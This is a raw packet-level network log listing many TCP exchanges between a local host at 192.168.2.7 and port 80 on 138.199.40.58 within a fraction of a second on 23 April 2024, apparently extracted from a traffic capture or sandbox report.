Apr 23, 2024 08:39:59.175348997 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.175362110 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.175369978 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.175405025 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.175426006 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.175430059 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.175442934 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.175451040 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.175467014 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.175487041 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.175491095 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.175535917 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.175542116 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.175555944 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.175600052 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.175621033 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.175622940 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.175667048 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.175679922 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.175720930 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.175785065 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.175786018 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.175812006 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.175869942 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.175884962 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.175918102 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.175930977 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.175931931 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.175931931 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.175945044 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.175956964 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.175970078 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.175976038 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.175988913 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.176016092 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.176028967 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.176042080 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.176054955 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.176060915 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.176110029 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.176124096 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.176130056 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.176136017 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.176148891 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.176156998 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.176162004 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.176172018 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.176214933 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.176234961 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.185789108 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.185875893 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.185904980 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.185986042 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.186006069 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.186026096 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.186084032 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.186103106 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.186120033 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.186130047 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.186175108 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.186186075 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.186208010 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.186280966 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.186299086 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.186299086 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.186345100 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.186346054 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.186398029 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.186415911 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.186441898 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.186471939 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.186487913 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.186505079 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.186527014 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.186558962 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.186577082 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.186582088 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.186594009 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.186625957 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.186645985 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.186659098 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.186680079 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.186691046 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.186722994 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.186739922 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.186747074 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.186764002 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.186794043 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.186804056 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.186842918 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.186858892 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.186877012 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.186897039 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.186913967 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.186917067 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.186974049 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.186981916 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.187000036 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.187016010 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.187032938 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.187051058 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.187100887 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.187125921 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.187150002 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.187222958 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.187231064 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.187388897 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.187442064 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.187455893 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.187469006 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.187486887 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.187508106 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.187542915 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.187560081 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.187581062 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.187647104 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.187664986 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.187731028 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.187752962 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.187812090 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.187836885 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.187854052 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.187926054 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.187948942 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.187952042 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.187966108 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.187999010 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.188019037 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.188107967 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.188143015 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.188170910 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.188183069 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.188194990 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.188215017 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.188237906 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.188240051 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.188252926 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.188265085 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.188277960 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.188286066 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.188312054 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.188327074 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.188334942 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.188369989 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.188383102 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.188390970 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.188427925 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.188430071 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.188442945 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.188499928 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.188513041 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.188651085 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.188663960 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.188684940 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.188853025 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.188883066 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.188903093 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.188905001 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.189004898 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.189028025 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.189110994 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.189197063 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.189291000 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.189325094 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.189395905 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.189467907 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.189563990 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.189578056 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.189627886 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.189649105 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.189651966 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.189671993 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.189692020 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.189742088 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.189754963 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.189762115 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.189799070 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.189815998 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.189830065 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.189852953 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.189874887 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.189893007 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.189915895 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.189934969 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.189946890 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.190011978 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.190021992 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.190025091 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.190054893 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.190068007 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.190077066 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.190080881 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.190099955 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.190129042 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.190162897 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.190175056 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.190226078 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.190238953 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.190251112 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.190274954 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.190309048 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.190329075 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.190346003 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.190360069 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.190393925 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.190416098 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.190418959 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.190439939 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.190442085 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.190465927 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.190485954 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.190506935 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.190566063 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.190584898 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.190670013 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.190747976 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.190768003 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.190779924 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.190793991 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.190813065 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.190834045 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.190856934 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.190877914 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.190921068 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.190975904 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.190990925 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.191040993 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.191041946 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.191042900 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.191056013 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.191068888 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.191090107 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.191102028 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.191111088 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.191114902 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.191123009 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.191162109 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.191174984 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.191183090 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.191185951 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.191210985 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.191230059 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.191245079 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.191265106 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.191298008 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.191312075 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.191333055 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.191385984 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.191400051 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.191412926 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.191425085 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.191468000 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.191477060 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.191477060 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.191481113 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.191492081 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.191504002 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.191510916 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.191524029 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.191545963 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.191557884 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.191580057 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.191600084 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.191622019 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.191633940 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.191643953 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.191656113 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.191675901 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.191695929 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.191709042 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.191726923 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.191747904 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.191761017 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.191781044 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.191839933 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.191871881 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.191925049 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.191932917 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.191943884 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.191965103 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.191978931 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.191987038 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.192008018 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.192028999 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.192050934 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.192070961 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.192090988 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.192120075 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.192140102 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.192158937 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.192229986 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.192241907 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.192253113 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.192265034 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.192276001 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.192282915 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.192291975 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.192325115 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.192344904 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.192363024 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.192384005 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.192600012 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.192640066 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.192660093 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.192677021 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.192749977 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.192763090 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.192768097 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.192775965 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.192797899 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.192810059 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.192819118 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.192994118 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.193152905 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.193193913 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.193219900 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.193265915 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.193315029 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.193316936 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.193362951 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.193414927 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.193433046 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.193516970 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.193530083 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.193541050 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.193552971 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.193563938 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.193563938 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.193577051 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.193589926 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.193589926 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.193602085 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.193614960 CEST	49705	80	192.168.2.7	138.199.40.58
